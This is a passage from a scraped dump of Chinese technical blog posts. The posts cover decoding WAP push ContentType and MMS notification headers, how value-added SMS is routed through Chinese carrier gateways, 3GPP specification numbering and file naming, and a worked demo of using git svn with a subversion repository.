- 127 The value is a text string, terminated by a zero octet (NUL character)\n128 - 255 It is an encoded 7-bit value; this header has no more data.\n因此，解析ContentType我们要区分多种情况。\n3) ContentType解析举例 我们以两种情况为例，一种是Well-known value形式; 另外一种形式是text string形式。\n先来看Well-known value形式。如果我们解析到ContentType时遇到一组字节：03AE81EA。\n0×03在[0,30]范围内，按照WSP规范，这个0×03是一个是一个length，表明后面的三个octets都是ContentType的值。我们看到03后面的三个字节分别为0xAE、0×81和0xEA；\n按照WSP规范8.2.4.1关于 Short-integer的定义：\nShort-integer = OCTET ; Integers in range 0-127 shall be encoded as a one octet value with the most significant bit set ; to one (1xxx xxxx) and with the value in the remaining least significant bits.\n位于[0,127]区间的数字，在编码这些数字的时候，需要将字节最高bit置1。因此，我们需要将0xAE、0×81和0xEA还原为原先的值，通过 n \u0026amp; 0x7F计算 还原为0x2E、0×01和0x6A。这三个值都是well-known value，我们需要查表找到其对应的含义。根据content type assignment(WSP 附录Table 40)、parameter(WSP规范 附录Table 38)以及该parameter对应的assignment(WSP规范附录 Table 42)的顺序，我们分别在表中确定三个字节对应的text：\n0x2E - \u0026quot;application/vnd.wap.sic\u0026quot; 0x01 - \u0026quot;Charset\u0026quot; 0x6A - \u0026quot;utf-8\u0026quot; 因此该ContentType的值的文本形式是：”application/vnd.wap.sic; charset=utf-8″。\n我们再来看看ContentType直接采用文本形式值的情况，这种情况较为简单：\n0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61 , 0x74 , 0x69, 0x6f, 0x6e, 0x2f, 0x76, 0x6e, 0x64, 0x2e, 0x77, 0x61, 0x70, 0x2e, 0x6d, 0x6d, 0x73 , 0x2d , 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x00 该段数据的第一个字节为0×61，其值在[32, 127]区间内，表明这是一个以零值结尾的字符串。我们将其以字符形式输出，得到的是：”application/vnd.wap.mms-message”。\n得到ContentType数据后，我们再结合HeaderLen字段的值，可以计算出后面的Headers的长度。Headers中可能有多个字段，其构成格式与解析方式与ContentType的类似，这里不赘述了。\n3) 应用数据举例：彩信通知消息介绍 在WSP头解析后，我们剩下的就是Data这个字段了。这个字段承载的是应用真正需要的数据。我们以ContentType=”application/vnd.wap.mms-message”为例，即彩信通知短信。来看看wappush承载的彩信通知短信的解析。\n在《Multimedia Messaging Service Encapsulation Specification》 wap-209-mmsencapsulation-20020105-a.pdf 7.1 中有关于彩信通知短信字段编码的规则，彩信通知仅仅是包含彩信的Headers字段。因此，我们仅适用mms header的编码规则解析即可，这里摘录如下：\nMMS-header = MMS-field-name MMS-value MMS-field-name = Short-integer MMS-value = Bcc-value | Cc-value | Content-location-value |... ... 彩信通知的字段列表在《Multimedia Messaging Service Encapsulation Specification》规范的6.2小节。\n有了之前ContentType的解析经验后，解析这些字段便轻车熟路了。要注意几点：\nheader field name的well-known value在《Multimedia Messaging Service Encapsulation Specification》规范的7.3小节表中\nheader field name都是short integer，因此要注意与上0x7F的转换，转换后的值与7.3小节表中的值进行比对。\n某个具体header field的值的形式，是零值结尾字符串、uintvar还是特定值，查看对应header field的具体说明即可。\n三. 小结 到这里我们了解了短信协议对短信内容在手机端呈现形式的影响，我们知道了级联短信让我们可以接收到超过70个汉字字符的超长短信，我们知道了通过短信承载wap push协议，我们可以让手机上的应用接收到服务数据（比如一个服务的url或是一条彩信的访问地址）甚至可以在打开短信的时候自动加载彩信，并在手机端呈现彩信内容。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/08/21/introduction-on-tech-protocol-of-transfering-value-added-sms/","summary":"\u003cp\u003e在上一篇\u003ca href=\"https://tonybai.com/2019/08/20/introduction-to-value-added-sms-in-graphic-form/\"\u003e《增值类短信业务图文简介》\u003c/a\u003e中，我们介绍了什么是增值类短信业务以及增值类短信的收发流程。在这篇中我们将进一步深入介绍增值类短信收发协议的相关内容，不过重点放在短信内容编码对短信呈现的影响。\u003c/p\u003e\n\u003cp\u003e从近两年大火的5G我们可以看到，在移动通信领域\u003cstrong\u003e规范和标准先行\u003c/strong\u003e。虽然第一条短信在1992年在实验室就被发了出来，但是这离真正的短信商用还有很长一段距离。之后作为GSM(Global System for Mobile Communications，全球移动通信系统)技术的一个组成部分，\u003ca href=\"https://www.ietf.org/rfc/rfc5724.txt\"\u003eGSM规范\u003c/a\u003e中对短信内容编码格式作了进一步说明：\u003c/p\u003e","title":"增值类业务短信收发协议介绍"},{"content":"以前一提到短信（Short Message），人们会想到“拇指族（在社交移动APP诞生前，专指用手机高频发短信的一个群体）”、“拜年短信”。现在再提到短信，人们想到的变成了“验证码”、“垃圾短信”以及“我好久不发短信了”。短信这一信息承载的媒介是伴随着移动通信工具一并诞生的，它是**“古老的”** – 1992年，22岁的加大拿工程师Neil Papworth用电脑给同事Richard Jarvis发出了人类历史上的第一条短信，总共15个字符（包括空格）：“merry christmas”；它也辉煌过，是曾经的“网红” – 2012年根据中国工信部(MIIT)的数据，中国手机用户共发送9000亿条短信，这是中国短信数量的高峰。2013年开始，短信开始走下坡路，社交APP（如微信）的出现，让短信业务出现断崖式下跌，直到2018年短信业务才有了些许恢复性的增长。\n一. 什么是增值类短信 不可否认的是短信依旧（至少目前依然）是我们日常生活中不可缺少的信息获取媒介，只是我们不再主动发送（点对点短信: 手机用户A发给手机用户B的短信），而是被动接收（应用发给手机用户的验证码、通知信息以及垃圾短信）。\n而这类被动接收的短信，多数都属于我们要重点说明的“增值类短信业务”。所谓增值类短信业务，说白了就是用于应用与用户互动的短信。\n在增值类短信最火爆的年代，你一定听说过电台或电视中出现类似：“请发送XXX到YYYYYYY参与平台互动、抽奖、起名、查询天气预报、交通信息甚至是“算命”….”的音频或电视滚动播放的提示文字，这些提供增值类短信应用的商户被称为SP(服务提供商Service Provider)，那个时候各大互联网门户也都是SP，都有自己的短信平台与手机用户互动。在这场以短信为媒介发展起来的增值短信业务市场中，移动运营商（国内的移动、联通、电信）赚的盆满钵满，因为每条发送给SP的短信都要扣费，费用至少包含两部分：通信费和业务费：\n通信费是使用运营商短信通道的费用，是运营商收取的，好比汽车上高速要缴纳高速服务费，因为我们的车在行驶过程中占用了高速公路一定面积的路面，并造成了一定的高速路面损害；通信费一般是按条收取的，最常见的费用是1角/条；当然运营商最擅长提供“套餐”，套餐中包含一定数量的短信，如果每月发送的短信条数在套餐数量之下，就无需额外付费。\n业务费是使用这个增值短信业务（比如天气预报）产生的费用。这个费用是否都给SP，要看SP与运营商签订的分成协议。多数情况下，运营商还是要从这个费用中扣除一部分分成后，将剩余的打给SP。比如手机用户发送一条查询天气预报的短信花费的业务费为1元；如果运营商和SP的协议是4:6分成的话，那么这1元中，运营商赚4角，提供天气服务的SP赚6角。业务费还可以按条/次或包月收取。以天气预报服务为例，如果是包月，那么手机用户在当月可以无限次给SP发送短信查询天气预报而不用担心逐条扣费。\n我们看到在短信增值业务时代，运营商才是最大赢家，他们既收取通信费，还收取部分业务费。在增值类短信最火的几年中，运营商相继推出了自己的移动数据服务品牌，比如中国移动的移动梦网。当然短信增值业务仅是运营商数据业务的一种而已，他们还提供诸如彩信、wap等数据业务。\n2013年及以后，随着移动互联网社交APP（诸如微信、移动QQ）的诞生与迅猛发展，短信作为社交工具的职能被彻底剥夺了，点对点短信彻底没落；随着微博、公众号、服务号等平台工具的推出，短信的互动功能、通知服务功能也被大幅削弱，以前的媒体互动平台几乎全部由短信平台迁移到微信、微博平台，大家日常听到最多的是请关注微信公众号或微博参与互动，互动短信被彻底扔到了历史的垃圾桶中。运营商再也不能像以前那样躺着收取手机用户的通道费和业务费了，这也直接导致了运营商在短信业务营收方面的大幅下降，运营商也要开始学勒紧裤腰带过日子了（当然和普通企业相比，运营商还是有钱人）。\n目前让增值类短信业务屹立不倒的是验证码短信，这还多亏了国家出台的手机卡办理实名制，实名制让手机与身份几乎一一对应，也助推了短信成为了现存的、可用的最靠谱的（但不是最先进的）身份识别信息载体。可以说目前人们生活离得开“短信”，但离不开增值类的“验证码短信”。\n有人会问全国每年发送的验证码短信没有万亿条，也有千百亿条了，运营商怎么没有以前赚钱了呢？这是因为这种从SP发到手机用户的短信，运营商只能收取SP的通道费，对SP收取的通道费原本就很低廉，且在三大运营商疯狂争夺客户的竞争中，SP的通道费还在逐年下降，直接导致运营商的增值短信业务出现量增但收入反降的局面。\n二. 增值类短信是如何发送到你的手机上的 接下来，我们将进入偏技术的领域，我们来看看这类增值类短信是如何发送到用户手机上的。这里我们不会深入到运营商无线网络侧作细致说明，我们关注的更多是IP网络侧。国际上通用的关于SP接入运营商进行短信收发的协议是SMPP协议(Short Message Peer-to-Peer)。在最新的5.0版本协议规范中，我们可以看到一幅网络拓扑图，这里将其简化一下：\n我们看到，在国际上通行的组网是这样的：\nSP通过smpp协议与运营商IP侧网络的Routing Entity相连，收发短信；\nRouting Entity这个网元的作用正如其名，它根据短信的相关信息，将短信路由转发到连接对应SMSC的Routing Entity上，然后下一个Routing Entity负责通过SMPP协议将短信下发到后面的SMSC；\nSMSC即短信中心，负责接收Routing Entity的短信，并将短信通过运营商的无线侧发到手机用户。\n这已经是一个足够简化的网络拓扑图。\n在国内，Routing Entity由各大运营商的短信业务网关(SMS Gateway)充当，原则上每个运营商在每个省份会建立一套短信网关。短信会首先由接收该短信的短信网关进行转发（可通过目的号码路由），将短信转发到目的号码归属省的短信中心(SMSC)，然后由SMSC将短信下发到手机用户。这里省略无线侧网元，可以更清晰看到全国短信网关（SMS Gateway）和短信中心(SMSC)组网(先不考虑不同运营商之间的短信收发)：\n我们从图中可以看到，这是一个运营商在A省和B省的短信业务网元网络拓扑。SP从A省接入，因此A省也称为SP的接入省。手机用户A和手机用户B分别归属于A省和B省，因此称A省是手机用户A的归属地；B省市手机用户B的归属地。\n我们看到：与国际通用方式不同的是，国内SP不是通过SMPP接入短信网关(SMS Gateway)（在没有短信网关之前，SP是通过SMPP直接接入smsc的），而是使用了运营商的专有协议（中国移动CMPP、中国联通SGIP、中国电信SMGP）；短信网关之间是互联的，通信协议也是运营商专有协议。一个省的短信网关只会连接本省的SMSCs。\n当SP下发一条短信给手机用户A时，短信流经的网元如下：\nSP -\u0026gt; A省短信网关(SMS Gateway) -\u0026gt; A省某SMSC实例 -\u0026gt; A省基站 -\u0026gt; 手机用户A 当SP下发一条短信给手机用户B时，短信流经的网元如下：\nSP -\u0026gt; A省短信网关(SMS Gateway) -\u0026gt; B省短信网关(SMS Gateway) -\u0026gt; B省某SMSC实例 -\u0026gt; B省基站 -\u0026gt; 手机用户B 如果手机用户收到短信后要与SP互动，即手机用户发送一条短信到SP的号码上时，流程是这样的。\n当手机用户A给SP发送一条短信，该短信流经的网元如下：\n手机用户A -\u0026gt; A省基站 -\u0026gt; A省某SMSC实例 -\u0026gt; A省短信网关(SMS Gateway) -\u0026gt; SP 当手机用户B给SP发送一条短信，该短信流经的网元如下：\n手机用户B -\u0026gt; B省基站 -\u0026gt; B省某SMSC实例 -\u0026gt; B省短信网关(SMS Gateway) -\u0026gt; A省短信网关(SMS Gateway) -\u0026gt; SP 现在我们粗略地知道了我们是如何收到一个SP发送的短信的了以及反向流程了（在同一运营商下面）。\n三. 小结 从业增值类短信业务平台开发很多年，这算是第一次写有关短信业务相关的文章。这一篇算是一个科普类的增值类短信业务介绍。接下来，我将继续以图文方式介绍增值类短信的协议与不同类型增值类短信打包和解析的难点。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/08/20/introduction-to-value-added-sms-in-graphic-form/","summary":"\u003cp\u003e以前一提到\u003ca href=\"https://en.wikipedia.org/wiki/Short_Message_Service\"\u003e短信（Short Message）\u003c/a\u003e，人们会想到“拇指族（在社交移动APP诞生前，专指用手机高频发短信的一个群体）”、“拜年短信”。现在再提到短信，人们想到的变成了“验证码”、“垃圾短信”以及“我好久不发短信了”。短信这一信息承载的媒介是伴随着移动通信工具一并诞生的，它是**“古老的”** – 1992年，22岁的加大拿工程师Neil Papworth用电脑给同事Richard Jarvis发出了人类历史上的第一条短信，总共15个字符（包括空格）：\u003cstrong\u003e“merry christmas”\u003c/strong\u003e；它也\u003cstrong\u003e辉煌\u003c/strong\u003e过，是曾经的“网红” – 2012年根据中国工信部(MIIT)的数据，中国手机用户共发送9000亿条短信，这是中国短信数量的高峰。2013年开始，短信开始走下坡路，社交APP（如微信）的出现，让短信业务出现断崖式下跌，直到2018年短信业务才有了些许恢复性的增长。\u003c/p\u003e","title":"增值类短信业务图文简介"},{"content":"3GPP组织（3rd Generation Partnership Project）是全球移动通信业标准制定之执牛耳者。其最初的工作范围是为第三代移动通信系统制定全球适用的技术规范(TS，Technical Specification)和技术报告(TR，Technical Report)，确保不同厂商之间实现无缝互操作以及为移动通信提供其所必需的全球规模，从而达成实现GSM由2G网络到3G网络的平滑过渡的要求。随着3GPP组织在全球影响力的逐渐扩大，3GPP也承担起了建立和统一4G、5G标准的重任，从这方面来看，3GPP改名为NGPP(Next/Nth Generation Partnership Project)似乎更加合适:)。\n从1998年成立至今，3GPP组织制定了大量的标准规范，累积起来有数百个标准文档，这给初次接触3GPP规范的朋友出了一道难题：如何找到我所需要的那个规范文档呢？\n近期因为业务需要在阅读3GPP有关短信、C-V2X方面的规范文档，这也是我第一次近距离接触3GPP规范，为了找到自己想要的规范文档，也真实经历了一番周折。于是有了编写这篇博客的想法，希望大家通过这篇文章，可以了解3GPP规范文档的组织结构以及每个文档的编号规则，实现快速精确找到所需规范文档的目的。\n一. 3GPP规范文档组织结构 通常3GPP规范文档是通过文档编号或文档名称(title)进行查找的，这里推荐一个3GPP文档汇总页面：“3GPP Specification Release version matrix”，建议将之保存到浏览器书签中。\n该页面以3GPP规范Release版本的维度将所有已完成且正式发布的文档列在一个页面上，截至笔者编写这篇文章时，最新的Release版本是Rel-15。\n我们简单看看上面图中各个列的含义：\nSpec no. – 规范文档编号\nTitle – 规范文档的名称\nWG – 工作组\nPh1 ~ R00 – 适用于早期GSM的规范发布版本\nRel-4 ~ Rel-15 – 适用于GSM、3G以及后续新通信技术的规范发布版本\n要进一步了解某个规范的详细信息并下载规范文档，可以点击对应的文档编号：\n点击后，进入规范的portal页(默认general，以规范21.905为例)：\n在general页面上，我们能看到对应规范的status、type(TS/TR)、首次发布时间、适用的无线技术(2G/3G/LTE/5G)等。\n点击”Versions”标签进入规范的版本历史页面：\n在该页面，点击规范对应的版本编号即可下载对应版本的文档(zip格式，解压后为doc/docx文档)。\n3GPP还提供了其他多种spec文档的归集方式，比如按照Release版本、技术关键字、当前Specs状态查看，也可以在归档FTP中自行翻找:)。\n个人觉得spec release matrix页面仍然是3GPP入门朋友的最佳入口。\n二. 3GPP规范文档编号与版本规则 下面我们聚焦到某些具体的规范文档：\n《Vocabulary for 3GPP Specifications》：文档编号为21.905, 最新Version：15.1.0；\n《Attachment requirements for Global System for Mobile communications (GSM); Advanced Speech Call Items (GSM-ASCI) Mobile Stations; Access》：文档编号为13.68，最新version: 5.0.2;\n我们看到每个文档都有两个重要属性信息：规范文档编号(Specification Number)和版本号(Version)。我们用一幅图来解释一下文档编号和版本号的用途：\n从图中我们可以看到：\n规范文档编号由两部分组成：系列号(series number)和尾号(mantissa，也称为文档号)，两个部分之间用“.”分隔；\n系列号(series number)是从00开始的两位数字；XX.YY形式是早期规范文档的编号形式，用于0013系列文档，适用于早期GSM系统(即Rel-4之前的GSM)；而XX.YYY形式是后期，也是当前使用的编号形式，用于4155系列（仅GSM）和21~38系列(3G及新一代系统)；\n规范文档编号中的尾号(文档号）没有特别的意义，早期使用两位尾号，现在都使用三位尾号；\n规范文档的版本号由三位从0开始的数字组成，数字间由“.”分隔；\n版本号从左到右的第一位是major域，表示该文档所处的主要阶段：\n0 =不成熟的草案 1 =至少完成60％的草案已经提交/将很快提交给负责的TSG以供参考 2 =完成至少80％的草案并已提交/将很快提交给负责的TSG批准 3或更高=已经由负责的TSG批准并且处于变更控制之下的规范。 版本号从左到右的第二位是technical域（技术域），对规范进行技术更改时，技术域字段会递增；\n版本号从左到右的第三位是editorial域（编辑域）；每次对规范进行非技术性更改时，编辑域字段都会递增，例如，纠正印刷错误。但任何可能会对规范技术规定的解释产生影响的变化都不能被视为编辑域变化。\n从Rel-4发布开始,3GPP规范的Release和Version有了对应关系。一个规范文档的Version的major域的值将会指示出该规范所适用的 Release，这样达到了Release和Version在某种程度的一致性，方便规范读者查询。\n我们还以编号和版本为21.905 15.1.0的规范为例，从其编号和版本信息，我们直接可以得到如下结论：\n该规范术语21系列，适用于3G及新一代系统范畴；\n该规范已经正式发布，该版本发布于Rel-15；\n该规范在Rel-15有一次技术性更改。\n三. 规范文件名规则 最后我们还要了解一个规则，那就是规范文档对应的实体文件的文件名起名规则，规范对应的实体文件的文件名与那规范的文档编号及版本具有一定对应关系。\n我们还是用一幅图来形象展示一下文件名规则：\n从图中我们可以看到：\n规范文档对应的实体文件名由多部分组成，其中文件名首部是必选的，它由规范编号和尾号组成(中间无分隔)；文件名尾部也是必选的，由规范的版本号组成；中间的part number和sub-part number是可选的。文件名各部分之间由“-”连接；\npart number和sub-part number都是1或2位数字；\n文件的尾部对应着规范的版本号，不同的是文件中尾部的版本号中的每个域都是一个有序字符集合[09、az]中的字符，这个集合中有36个字符按需依次对应着版本号中的0~35，如果版本号中的某个域值超过35，则文件名中的版本号中的每个域都使用两位表示。举例：\nTR 21.900的版本15.1.1对应文件名21900-f11.zip中的f11；（f对应version中的15)\nTS 34.567的版本16.36.0对应文件名34567-163600.zip中的163600；(technical域为36,超过35，因此文件名中尾部版本号每个域占用两位)\n现在如果我们看到一个文件名，即可得到关于规范文档的一些信息，比如：\n21900-320.zip对应21.900 v3.2.0规范\n0408-6g0.zip对应的是04.08 v6.16.0规范\n29998-04-1-100.zip对应的是29.998 part 04 subpart 1 v1.0.0规范\n29898-133601.zip对应的是29.898 v13.36.1规范\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/07/25/illustrate-3gpp-spec-docs-structure-and-numbering/","summary":"\u003cp\u003e\u003ca href=\"https://www.3gpp.org/\"\u003e3GPP\u003c/a\u003e组织（3rd Generation Partnership Project）是全球移动通信业标准制定之执牛耳者。其最初的工作范围是为第三代移动通信系统制定全球适用的技术规范(TS，Technical Specification)和技术报告(TR，Technical Report)，确保不同厂商之间实现无缝互操作以及为移动通信提供其所必需的全球规模，从而达成实现GSM由2G网络到3G网络的平滑过渡的要求。随着3GPP组织在全球影响力的逐渐扩大，3GPP也承担起了建立和统一\u003ca href=\"https://en.wikipedia.org/wiki/4G\"\u003e4G\u003c/a\u003e、\u003ca href=\"https://en.wikipedia.org/wiki/5G\"\u003e5G\u003c/a\u003e标准的重任，从这方面来看，3GPP改名为NGPP(Next/Nth Generation Partnership Project)似乎更加合适:)。\u003c/p\u003e","title":"图解3GPP规范文档组织结构与编号规则"},{"content":"如今，虽然Git已经大行其道，但是仍有很多IT公司和组织依旧在使用集中式的版本控制系统subversion，尤其是一些传统软件公司，他们倾向于集中式的联网开发。如果你是一个Git fans，并且你要是遇到代码仓库依旧是使用subversion进行版本控制的情况，你又该如何施展呢？\n其实git很早就支持与subversion repo的互操作了，2011年我就曾写过一篇《小试git-svn》的博文，也正是那一年，我第一次使用git操作subversion仓库。\n《小试git-svn》一文仅是通过文字性描述简要说明了git操作svn repo的基本命令和功能，并未结合实际例子，也缺少直观的图片展示，并且未涉及branch和tag的操作。这里打算再写一篇关于使用git操作svn仓库的文章，相比于前者，我期望该文能更为系统并结合demo图文并茂的把使用git操作svn仓库这个事情讲的更形象和透彻一些。\n一. 使用git操作svn repo的基本工作流 使用git操作svn repo的多数场景是已经存在一个svn repo，git fans想用git命令与之交互。下图展示了使用git操作这样的svn repo的基本工作流：\n下面我们就用一个demo来详细地说明一下这个基本工作流。\n1. 建立一个svn demo库 自己搭建一个svn server还是比较费力的，我们选择一个在线的svn代码托管SaaS服务：svnbucket.com。我们在svnbucket.com上注册账号并创建一个svn repo：test-git-svn，该repo采用标准的项目布局(trunk/branches/tags)：\n接下来我们就开始git操作svn repo的过程！\n2. 通过git首次获取svn仓库 git是分布式版本管理工具，无论是git repo还是svn repo，如果要用git操作，那么首先需要获取到repo的所有数据。git提供了svn子命令来操作远程的svn repo库，我们看一下首次获取svn repo信息的过程：\n$git svn clone svn://svnbucket.com/bigwhite/test-git-svn/ Initialized empty Git repository in /Users/tony/Test/git-svn-test/test-git-svn/.git/ W: +empty_dir: branches W: +empty_dir: tags W: +empty_dir: trunk r1 = 8cfdc2f6059ff06f53c83d64518dcba146722c04 (refs/remotes/git-svn) Checked out HEAD: svn://svnbucket.com/bigwhite/test-git-svn r1 creating empty directory: branches creating empty directory: tags creating empty directory: trunk $tree ./test-git-svn ./test-git-svn ├── branches ├── tags └── trunk 3 directories, 0 files $cd test-git-svn $git branch -a * master remotes/git-svn 可以看到：我们通过git svn clone(注意：不是git clone)将远程server上的svn repo下载到了本地，后续我们就可以在本地host上快乐地使用git管理本地的代码了。\n3. 从svn repo中同步最新的代码变更 接下来，远程的svn仓库经常会发生了变更，某开发人员向svn仓库提交了一些initial code，比如在trunk下建立git-svn-demo目录，并创建go.mod和main.go：\n//在svn repo中的trunk/git-svn-demo目录下： $cat main.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;git-svn-demo initial version\u0026quot;) } $cat go.mod module github.com/bigwhite/git-svn-demo 如果我们本地使用svn工具，我们只需在联网的情况下通过svn update命令即可将远程svn repo的最新改动同步到本地working copy中。但在git下，我们不能像git repo同步那样使用git pull来同步，而是需要使用git svn rebase来获取svn repo中的最新更新，并rebase我们的工作目录(working copy)：\n$git svn rebase A trunk/git-svn-demo/go.mod A trunk/git-svn-demo/main.go r2 = f826b74bfff2799deaafbca81354c38e0862509c (refs/remotes/git-svn) First, rewinding head to replay your work on top of it... Fast-forwarded master to refs/remotes/git-svn. $tree . . ├── branches ├── tags └── trunk └── git-svn-demo ├── go.mod └── main.go 4 directories, 2 files git svn rebase子命令会根据svn上的revision创建对应的commit，这一命令几乎等效于”svn update”，同样也可能会存在远程svn repo中的代码与git repo冲突的可能性，解决冲突的方法在《小试git-svn》中已经做了描述，这里就不赘述了。\n4. 将代码更新推送到远程svn repo 在这种模式下，本地开发已经完全变成了基于git的开发模式，开发者可以自由地发挥git的各种优势了，再也不用担心本地代码没有版本控制而出现各种“误删除”、“意外覆盖”的情况了。开发测试并提交(只需普通git commit)到local git repo后，最终还是要将这些commit推送到远程的svn repo中。这里我们不能用push，而要用git svn dcommit：\n// 本地git repo中更新后的main.go $cat main.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;git-svn-demo: git-svn dcommit v0\u0026quot;) } 先提交到git本地的仓库:\n$git commit -m\u0026quot;[git svn]: first commit\u0026quot; . [master be36a7f] [git svn]: first commit 1 file changed, 1 insertion(+), 1 deletion(-) 然后再“推送”到远程的svn 仓库：\n$git svn dcommit Committing to svn://svnbucket.com/bigwhite/test-git-svn ... M trunk/git-svn-demo/main.go Committed r3 M trunk/git-svn-demo/main.go r3 = e35efbe999cd035b2d5d67886c9a786ef86c681e (refs/remotes/git-svn) No changes between be36a7f1164b73a994f28ee3b0e0bb711b5ba2ff and refs/remotes/git-svn Resetting to the latest refs/remotes/git-svn dcommit会将git repo当前branch与远程svn repo中的差异的git commit都提交到svn repo，并为每个git commit生成一个对应的svn revision。这和”git push”很类似。\n我们再来本地做两次git commit：\n$git commit -m\u0026quot;[git svn]: commit #2\u0026quot; . $git commit -m\u0026quot;[git svn]: commit #3\u0026quot; . dcommit到svn repo：\n$git svn dcommit Committing to svn://svnbucket.com/bigwhite/test-git-svn ... M trunk/git-svn-demo/main.go Committed r4 M trunk/git-svn-demo/main.go r4 = c997db60e3d82c97ce8da23b308d611005740844 (refs/remotes/git-svn) M trunk/git-svn-demo/main.go Committed r5 M trunk/git-svn-demo/main.go r5 = 3b6215a3e5ae0659743e1e8063f842448c19147c (refs/remotes/git-svn) No changes between ee0df22b9f41882518a7c7b975c38924a9422395 and refs/remotes/git-svn Resetting to the latest refs/remotes/git-svn 我们看到git svn为每个commit生成一个对应的svn revision(svn版本号），这里是r4、r5。\n二. 利用git branch的优势 和svn建立branch的“重量级”操作（文件copy）相比，git的branch创建和切换可谓“超轻量级”。因此在日常使用git中，多数开发者都会充分发挥git branch的优势，通过在不同branch上的操作、分支的merge等来减少对master的并发修改带来冲突的影响。\n我们经常使用feature branch或bugfix branch。以feature branch为例，在feature branch上一般会有多个commit。但在merge到master分支时，我们可以选择多种merge策略，或是fast forward，或是多个commit自动合并为一个commit，又或git merge支持–squash策略（即只merge代码到本地Working copy，不commit到git repo，后续可作为一个commit手工提交到git repo）。\n我个人在用git操作svn repo库时，在git本地开发中，更倾向于使用git merge –squash的方法，因为在feature branch上，我更喜欢频繁的小变更的提交，导致commit很多。如果这些commit都dcommit到svn库，可能让svn commit history项目过多，有些commit甚至没有比较完善的意义。\n我们在上面的demo上演示一下这个过程。\n在本地建立新分支：feature-branch-1：\n$git checkout -b feature-branch-1 Switched to a new branch 'feature-branch-1' 在feature-branch-1做两次修改并commit：\n$git commit -m\u0026quot;add foo\u0026quot; . [feature-branch-1 d12ca00] add foo 1 file changed, 4 insertions(+) $git commit -m\u0026quot;add bar\u0026quot; . [feature-branch-1 160e5ed] add bar 1 file changed, 4 insertions(+) 回到master分支，merge feature分支的修改，并合并为本地的一次commit：\n$git checkout master Switched to branch 'master' $git merge feature-branch-1 --squash Updating 3b6215a..160e5ed Fast-forward Squash commit -- not updating HEAD trunk/git-svn-demo/main.go | 8 ++++++++ 1 file changed, 8 insertions(+) $git commit -m\u0026quot;[git svn]: add foo and bar function\u0026quot; . [master fe8f153] add foo and bar function 1 file changed, 8 insertions(+) 接下来，将这次合并的commit同步到svn repo上：\n$git svn dcommit Committing to svn://svnbucket.com/bigwhite/test-git-svn ... M trunk/git-svn-demo/main.go Committed r6 M trunk/git-svn-demo/main.go r6 = 37bbfbdb99cb7331057a05b72dc55b3faf55b645 (refs/remotes/git-svn) No changes between fe8f153cac62e027ca068fdd55c2bdaa8751aaf8 and refs/remotes/git-svn Resetting to the latest refs/remotes/git-svn 三. 通过git为svn库建立branch和打tag 通过git为svn repo建立branch和tag这类操作其实并没有体现出git的优势，因此日常开发人员一般会用svn命令直接操作svn repo，而不是用git svn子命令。但这里我们仍然要介绍一下通过git为svn repo建立branch和tag的方法。\n我们先来看看创建branch：\n$git svn branch feature-branch-1-from-git Multiple branch paths defined for Subversion repository. You must specify where you want to create the branch with the --destination argument. 我们看到git svn branch命令出错：让我们指定–destination参数，那我们就再来一遍：\n$git svn branch feature-branch-1-from-git --destination=branches Unknown branch destination branches 依旧报错！似乎git不认识“branches”这个存放branch的目录！要想解决这个问题，我们需要对.git/config中的配置做些变更，添加最后两行：\n$cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true [svn-remote \u0026quot;svn\u0026quot;] url = svn://svnbucket.com/bigwhite/test-git-svn fetch = :refs/remotes/git-svn branches = branches/*:refs/remotes/* tags = tags/*:refs/remotes/* 原先的.git/config中并没有设置branhes和tags的入口。我们再来试一下建立branch：\ngit svn --username=bigwhite branch feature-branch-1-from-git Copying svn://svnbucket.com/bigwhite/test-git-svn at r8 to svn://svnbucket.com/bigwhite/test-git-svn/branches/feature-branch-1-from-git... 